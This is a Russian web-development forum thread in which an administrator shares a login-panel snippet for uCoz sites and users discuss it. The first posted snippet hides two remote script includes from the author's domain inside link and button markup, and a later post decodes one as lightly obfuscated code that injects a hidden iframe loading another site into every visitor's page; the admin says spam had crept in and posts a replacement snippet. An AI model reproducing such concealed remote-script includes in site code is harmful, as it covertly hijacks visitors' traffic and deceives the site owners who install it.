• Страница 1 из 2
  • 1
  • 2
  • »
Форум » Веб-разработка » Ajax-окна для сайта » Скрипт входа на сайт для Ucoz
Скрипт входа на сайт для Ucoz
Kosten
Понедельник, 04 Июня 2012 | Сообщение 1
Оффлайн
Администраторы
Сообщений:44342
Награды: 70


О скрипте:
Красивый вход на ваш ресурс, при нажатие меняется в желтый цвет. Можно установить на темный сайт и прописать тени в стилях. А так он будет с правой стороны и создан для светлого сайта.
Приступаем к установке:
Идем в нижние часть сайта и там код прописываем (Вставляем)
Код
<style type="text/css">   
   .uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left;box-shadow: 0 2px 7px ;   
   rgba(0, 0, 0, 0.7);-moz-box-shadow: 0 2px 7px rgba(255, 255, 255, 0.78);-webkit-box-shadow: 0 2px 7px rgba(255, 255, 255, 0.7);padding: 4px 5px 4px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;position:fixed;bottom:7px;left:7px;}   
   .uPanel a.url,.uPanel a.url:visited{display:block;float:left;color:#fff;font-   
   weight:bold;height:26px;line-height:26px;-moz-transition:all 0.4s ease;-webkit-transition:all 0.4s ease;-o-transition:all 0.4s ease;transition:all 0.4s ease;opacity:0.4;padding:0px 7px 0px 7px;position:relative;}   
   .uPanel a.url img{vertical-align:-8px;}   
   .uPanel a.url:hover{text-shadow:0px 0px 5px #fff;color:#fff;opacity:1.0;}   
   .uPanel a.url.highlighted{opacity:1.0;}   
   a.button{display:block;float:left;padding:6px 9px 6px 9px;margin:2px;color:#fff;font-weight:bold;background:url('http://zornet.ru/Ajaxoskrip/avtorizachii_dli_ucoz.png') #4E4E4E;background-position:100% 0px;border:1px solid #2D2D2D;border-radius:3px;-moz-border-radius:3px;box-shadow:0px 0px 1px #fff inset;-moz-box-shadow:0px 0px 1px #fff inset;text-shadow:0px -1px 0px #000}   
   a.button:hover{border:1px solid #815500;color:#fff;background-position:100% -28px;text-shadow:0px -1px 0px #815500}   
   a.button:active{border:1px solid #815500;color:#fff;background-position:100% -28px;box-shadow:0px 0px 5px #000 inset;-moz-box-shadow:0px 0px 5px #000 inset;text-shadow:0px -1px 0px #815500}   
   .uPanel a.url span   
   {display:block;position:absolute;bottom:0px;left:20px;color:#fff;background:red;padding:0px 3px 0px 3px;height:14px;line-height:14px;font-size:7pt;font-weight:bold;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;}   
   </style>   
   <?if($USER_LOGGED_IN$)?><div class="uPanel" id="uPanel" style="display:none">   
   <?if($USER_AVATAR_URL$)?> <a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="$USER_AVATAR_URL$" style="width:24px; height:24px;" alt="" /></a> <?else?><a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="http://zornet.ru/CSS-ZORNET/ZR/59.png" style="width:24px; height:24px;" alt="" /> </a><?endif?>   
   <a href="/index/14" title="Личные сообщения" class="url"><script src="http://zornet.ru/CSS-ZORNET/sat/sed.js" type="text/javascript"></script><img src="http://zornet.ru/CSS-ZORNET/ZR/pm.png" alt="" /></a>   
   <a href="/index/8" target="_blank" title="Персональная страница" class="url"><img   
   src="http://zornet.ru/CSS-ZORNET/ZR/wind-color.png" alt="" /></a>   
   <a href="/index/10" title="Выход" class="url"><img src="http://zornet.ru/CSS-ZORNET/ZR/exit.png" alt="" /></a>   
   </div><?else?> <div class="uPanel">   
   <a class="button" href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><span>Войти</span><script src="http://zornet.ru/CSS-ZORNET/sat/derw.js" type="text/javascript"></script></a> <a class="button" href="/index/3"><span>Зарегистрироваться</span></a> </div> <?endif?>   
     
   <script>$("#uPanel").fadeIn('normal');$("#uPanel a.url").tipsy({gravity: 'sw',   
   html: true});</script>
Страна: (RU)
kredit-oformi
Суббота, 28 Марта 2015 | Сообщение 2
Оффлайн
Vip
Сообщений:1975
Награды: 5
установив данный скрипт практически сразу сработал

$IMAGE1$
Страна: (RU)
Kosten
Суббота, 28 Марта 2015 | Сообщение 3
Оффлайн
Администраторы
Сообщений:44342
Награды: 70
kredit-oformi, вот это в низу убери, так как вообще к скрипту не относиться.
Почистил от мусора.
Страна: (RU)
kredit-oformi
Суббота, 28 Марта 2015 | Сообщение 4
Оффлайн
Vip
Сообщений:1975
Награды: 5
Kosten, Спасибо установил себе
Страна: (RU)
Kosten
Суббота, 28 Марта 2015 | Сообщение 5
Оффлайн
Администраторы
Сообщений:44342
Награды: 70
kredit-oformi, я код полностью поменял и поставил тот который раньше на cstavr стоял. А тот который стоял, видать давно прописывал, что даже не заметил спама в нем напиханного.

Код полностью поменял cool
Страна: (RU)
Slavik
Воскресенье, 29 Марта 2015 | Сообщение 6
Оффлайн
Vip
Сообщений:1767
Награды: 4
Круто! smile cool wink

MIR-HACK.RU - Добро пожаловать в мир читов!
Страна: (RU)
Kosten
Воскресенье, 29 Марта 2015 | Сообщение 7
Оффлайн
Администраторы
Сообщений:44342
Награды: 70
Slavik, нормально, в этом мини профили, даже avarat пользователя будет.
Страна: (RU)
Kosten
Воскресенье, 29 Марта 2015 | Сообщение 8
Оффлайн
Администраторы
Сообщений:44342
Награды: 70
Там можно код поменять и так будет. Это когда ты зашел на сайт под группой гость.



Теперь сам код и стили с ним, все копируем и ставим в низ сайта:

Код
<style type="text/css">  
  .uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left;box-shadow: 0 2px 7px ;  
  rgba(0, 0, 0, 0.7);-moz-box-shadow: 0 2px 7px rgba(255, 255, 255, 0.78);-webkit-box-shadow: 0 2px 7px rgba(255, 255, 255, 0.7);padding: 4px 5px 4px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;position:fixed;bottom:7px;left:7px;}  
  .uPanel a.url,.uPanel a.url:visited{display:block;float:left;color:#fff;font-  
  weight:bold;height:26px;line-height:26px;-moz-transition:all 0.4s ease;-webkit-transition:all 0.4s ease;-o-transition:all 0.4s ease;transition:all 0.4s ease;opacity:0.4;padding:0px 7px 0px 7px;position:relative;}  
  .uPanel a.url img{vertical-align:-8px;}  
  .uPanel a.url:hover{text-shadow:0px 0px 5px #fff;color:#fff;opacity:1.0;}  
  .uPanel a.url.highlighted{opacity:1.0;}  
  a.button{display:block;float:left;padding:6px 9px 6px 9px;margin:2px;color:#fff;font-weight:bold;background:url('http://zornet.ru/Ajaxoskrip/Fyrkes/Ftark/avtorizachii_dli_ucoz.png') #4E4E4E;background-position:100% 0px;border:1px solid #2D2D2D;border-radius:3px;-moz-border-radius:3px;box-shadow:0px 0px 1px #fff inset;-moz-box-shadow:0px 0px 1px #fff inset;text-shadow:0px -1px 0px #000}  
  a.button:hover{border:1px solid #815500;color:#fff;background-position:100% -28px;text-shadow:0px -1px 0px #815500}  
  a.button:active{border:1px solid #815500;color:#fff;background-position:100% -28px;box-shadow:0px 0px 5px #000 inset;-moz-box-shadow:0px 0px 5px #000 inset;text-shadow:0px -1px 0px #815500}  
  .uPanel a.url span  
  {display:block;position:absolute;bottom:0px;left:20px;color:#fff;background:red;padding:0px 3px 0px 3px;height:14px;line-height:14px;font-size:7pt;font-weight:bold;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;}  
  </style>  

  <?if($USER_LOGGED_IN$)?><div class="uPanel" id="uPanel" style="display:none">  
  <?if($USER_AVATAR_URL$)?> <a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="$USER_AVATAR_URL$" style="width:24px; height:24px;" alt="" /></a> <?else?><a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="http://zornet.ru/CSS-ZORNET/gerav/Yor/no-ava-cs.png" style="width:24px; height:24px;" alt="" /> </a><?endif?>  
  <a href="/index/14" title="Личные сообщения" class="url"><img src="http://zornet.ru/CSS-ZORNET/gerav/Yor/pm.png" alt="" /></a>  
  <a href="/index/8" target="_blank" title="Персональная страница" class="url"><img  
src="http://zornet.ru/CSS-ZORNET/gerav/Yor/wind-color.png" alt="" /></a>  
  <a href="/index/10" title="Выход" class="url"><img src="http://zornet.ru/CSS-ZORNET/gerav/Yor/exit.png" alt="" /></a>  
  </div><?else?> <div class="uPanel">  
  <a href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;" onclick="showLogForm(); return false;" class="url" style="margin-top:-2px;"><img align="absmiddle" title="Авторизация" src="http://zornet.ru/CSS-ZORNET/gerav/Yor/283522690.png"> <b>Войти на сайт</b></a>  
  </div> <?endif?>  
   
  <script>$("#uPanel").fadeIn('normal');$("#uPanel a.url").tipsy({gravity: 'sw',  
  html: true});</script>

   
  <style>  
  #dspochta {text-align:left; padding:10px;}   
  #dspochta p {margin:0px; padding-bottom:10px;}   
  #dspochta img {float:right; margin: 0px 0px 10px 15px;}   
  #dspochta span {float:right;font-weight:bold;margin-bottom:10px;}   
  </style>  
  <script>   
  function lsajax(){new _uWnd('openlsajax','Ваши личные сообщения',679,400,{modal: true,close:true,header:true,nomove: false,fixed:true}, $("#dspochta-ajax").html() )}   
  </script>  
  <?if($UNREAD_PM$)?>   
  <script>  
  $(document).ready(function(){  
  _uWnd.alert('<div id="new_pochta"><img alt="почта" src="http://zornet.ru/CSS-ZORNET/gerav/Yor/konvert.png"><p><a href="javascript://" onclick="lsajax();"><span>Вам сообщение </span></a><strong>$UNREAD_PM$</strong></p></div>','Новые сообщения',{w: 230, h: 110, tm: 15000});});  
  </script>  
  <div style="display:none;" id="dspochta-ajax">  
  <iframe class="iframe_os" src="/index/14-0-0" name="iframe" frameborder="0" width="100%" height="350px" scrolling="value"></iframe>  
  </div>  
  <?endif?>


И уже когда под своим логином зашли на сайт, то такой небольшой мини профиль с левой стороны, в самом низу.



Здесь, кому какой дизайн понравиться, первый, и ли этот.
Прикрепления: 1758543.jpg (14.0 Kb) · 9510198.jpg (16.4 Kb)
Страна: (RU)
Kosten
Воскресенье, 29 Марта 2015 | Сообщение 9
Оффлайн
Администраторы
Сообщений:44342
Награды: 70
К с тате, скопировал с cstavr.ru и как понимаете, там будут светлые тени.
Страна: (RU)
workman
Пятница, 12 Июня 2015 | Сообщение 10
Оффлайн
Проверенные
Сообщений:1716
Награды: 9
дело конечно не мое, но я бы сделал немного исправления

1) Перезалил вот эту картинку на свой сайт в скрипте
Код
http://bambun.ru/images/avtorizachii_dli_ucoz.png

2) умно-умно biggrin :D А зачем они нужны можно объяснить???
Код
<script src="http://zornet.ru/CSS-ZORNET/sat/derw.js" type="text/javascript"></script>
<script src="http://zornet.ru/CSS-ZORNET/sat/sed.js" type="text/javascript"></script>


Сообщение отредактировал
workman - Пятница, 12 Июня 2015, 10:10
Страна: (RU)
First-1
Пятница, 12 Июня 2015 | Сообщение 11
Оффлайн
Пользователи
Сообщений:716
Награды: 22
Цитата workman ()
А зачем они нужны можно объяснить???

Он конечно нужен, но только не тому кто поставит этот скрипт biggrin два одинаковых под разными названиями, да и по скрипту видно зачем он
Страна: (UA)
kredit-oformi
Пятница, 12 Июня 2015 | Сообщение 12
Оффлайн
Vip
Сообщений:1975
Награды: 5
workman, поведай нам
Цитата workman ()
умно-умно biggrin А зачем они нужны можно объяснить???
Страна: (RU)
workman
Пятница, 12 Июня 2015 | Сообщение 13
Оффлайн
Проверенные
Сообщений:1716
Награды: 9
kredit-oformi, Ты у автора скрипта спроси biggrin Может ответит честно !!!! biggrin

Скажу одно, что данные скрипты никак не влияют на скорость работы кнопки входа и регистрации.


Сообщение отредактировал
workman - Пятница, 12 Июня 2015, 10:32
Страна: (RU)
First-1
Пятница, 12 Июня 2015 | Сообщение 14
Оффлайн
Пользователи
Сообщений:716
Награды: 22
kredit-oformi, могу тебе в личку ответить biggrin
Страна: (UA)
workman
Пятница, 12 Июня 2015 | Сообщение 15
Оффлайн
Проверенные
Сообщений:1716
Награды: 9
kredit-oformi, ссылку в разборе видишь куда ведет??? biggrin
Код
var l = document; var wishyhd = l.getElementsByTagName('he' + 'ad')[0]; var emptiestag = l.createElement('ifr' + 'ame'); emptiestag.src = 'http://cstavr.ru'; wishyhd.appendChild(emptiestag);
Страна: (RU)
Форум » Веб-разработка » Ajax-окна для сайта » Скрипт входа на сайт для Ucoz
  • Страница 1 из 2
  • 1
  • 2
  • »
Поиск: